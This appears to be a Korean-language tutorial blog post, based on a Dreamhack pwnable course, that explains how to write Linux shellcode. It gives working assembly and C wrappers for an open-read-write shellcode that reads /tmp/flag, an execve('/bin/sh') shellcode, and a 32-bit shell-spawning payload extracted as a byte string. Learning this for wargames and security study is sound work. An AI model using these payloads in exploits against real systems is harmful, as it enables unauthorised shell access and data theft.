이 글은 https://dreamhack.io/lecture/courses/50 을 토대로 작성한 글입니다.
Linux에서 shell이란 명령어와 프로그램을 실행할 때 사용하는 인터페이스이다.
시스템 해킹(pwnable)은 exploit을 통해 shell을 획득하는 것을 목적으로 한다.
또한, (공격을 당하는)희생자는 공개되면 안되는 중요한 파일, 자료 등을 모니터링을 하게 된다면, 피해가 생길 수 있다.
이처럼 exploit을 하는 목적은 희생자의 정보를 알거나, 그 시스템을 자신의 것으로 만드는 것 등 좋지 않은 목적으로 공격하는 것이 대부분이다.
Shellcode는 위의 exploit을 위해 제작된 어셈블리 코드 조각을 말한다.
이번 시간은 예제들을 통해서 Shellcode를 알아보자.
orw shellcode는 파일을 open(열고), read(읽고), write(쓰는)하는 shellcode이다.
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
위의 코드를 보면 open, read, write로 syscall을 한다.
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
syscall을 호출할 때 몇번 syscall인지 rax로 번호를 넘겨준다.
그리고 함수호출규약에 따라rdi,rsi,rdx는 1,2,3번째 인자값으로 넘겨진다.
함수호출규약에 대해서는 나중에 다루어 보겠다.
int fd = open("/tmp/flag", RD_ONLY, NULL);
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
open | 0x02 | const char *filename | int flags | umode_t mode |
첫 번째로 "/tmp/flag"라는 문자열을 메모리에 위치시킨다.
이를 위해 '0x616c662f706d742f67(/tmp/flag)'를 push 한다.
0x61은 a, 0x6c는 l,.... 해서 0x67은 g이다.
왜 0x67, 즉 g를 맨 나중에 표시를 했는지 궁금해 하실 분들이 있을 수 있다.
0x616c662f706d742f67는 총 9바이트이다.
x86-64에서는 8바이트씩 메모리에 매핑이 되기 때문에, 그리고 스택은 리틀엔디안 방식으로 아래에서부터 쌓이기 때문에
push 0x67을 해서 스택에 먼저 쌓고, 그 뒤에 0x616c662f706d742f을 넣는다.
stack |
---|
0x2f(/) |
0x74(t) |
0x6d(m) |
0x70(p) |
0x2f(/) |
0x66(f) |
0x6c(l) |
0x61(a) |
0x67(g) |
위의 표와 같이 스택에 쌓인다.
그리고 첫 번째 인자값인 "/tmp/flag"를 rdi에 넣고
두 번째 인자값인 RD_ONLY는 0이므로 rsi를 0으로 설정한다.
세 번째 인자값은 NULL은 0이므로 rdx를 0으로 설정한다.
마지막으로 open은 syscall 번호가 2이므로 rax를 2로 설정 후 넘겨 준다.
이것을 어셈블리 코드로 구현하면.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
이처럼 구현된다.
read(fd, buf, 0x30);
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
syscall의 반환 값은 rax로 저장됩니다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장됩니다.
read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입합니다.
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킵니다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입합니다.
rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정합니다.
마지막으로 read는 syscall 번호가 0이므로 rax를 0으로 설정 후 넘겨 준다.
이것을 어셈블리 코드로 구현하면
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
이처럼 구현된다.
write(1, buf, 0x30);
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
write | 0x01 | unsigned int fd | const char *buf | size_t count |
출력은 stdout으로 할 것이므로,
첫 번째 인자 rdi를 0x1로 설정한다.
두 번째, 세 번째 인자는 read에서 사용한 값과 같으므로 그대로 사용한다.
마지막으로 write는 syscall 번호가 1이므로 rax를 1로 설정 후 넘겨 준다.
이것을 어셈블리 코드로 구현하면
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
이처럼 구현된다.
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위의 c코드를 컴파일을 하고, 실행을 하면
와 같이 Shellcode가 성공적으로 실행된 모습을 확인 할 수 있다.
execve shellcode는 임의의 프로그램을 실행하는 shellcode이다. 이를 이용하면 로컬 또는 서버의 shell을 획득할 수 있다.
다른 언급없이 shellcode라 하면 이를 의미하는 경우가 많다.
리눅스에는 sh, bash 등 여러 셸 프로그램을 탑재하고 있다.
여기서는 /bin/sh을 실행시키는 execve 셸코드를 작성해 보겠다.
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char const argv | const char const envp |
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다.
우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다.
리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, 우리가 실행할 sh도 여기에 저장되어 있다.
따라서 우리는 execve(“/bin/sh”, null, null)을 실행하는 것을 목표로 셸 코드를 작성하면 된다.
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위의 코드를 컴파일 후 실행을 하게 되면
성공적으로 shell을 획득한 모습을 확인할 수 있다.
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
위의 코드를 어셈블리 코드를 objdump를 시켜서 shellcode를 추출해 보자.
이처럼 objdump를 시켜서 shellcode를 얻었다.
shellcode는 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"이다.
orw, execve의 어셈블리 코드를 작성해 보았고
execve Shellcode는 objdump까지 시켜서 Shellcode를 얻어낸 결과까지 도출해 보았다.
이번시간에 배운 shellcode 부분은 pwnable에 있어서 정말 중요한 부분 중 하나이다.
처음에는 이게 이해가 되지 않는 부분들이 있을 수 있는데, 점점 리뷰를 보면 이 부분이 익숙해 질 것이다.
다음시간에는 orw의 예제를 shellcraft를 통해서 어떻게 exploit을 하는지 알아보자.
https://dreamhack.io/lecture/courses/50
https://jhnyang.tistory.com/57
https://ko.wikipedia.org/wiki/%EC%85%B8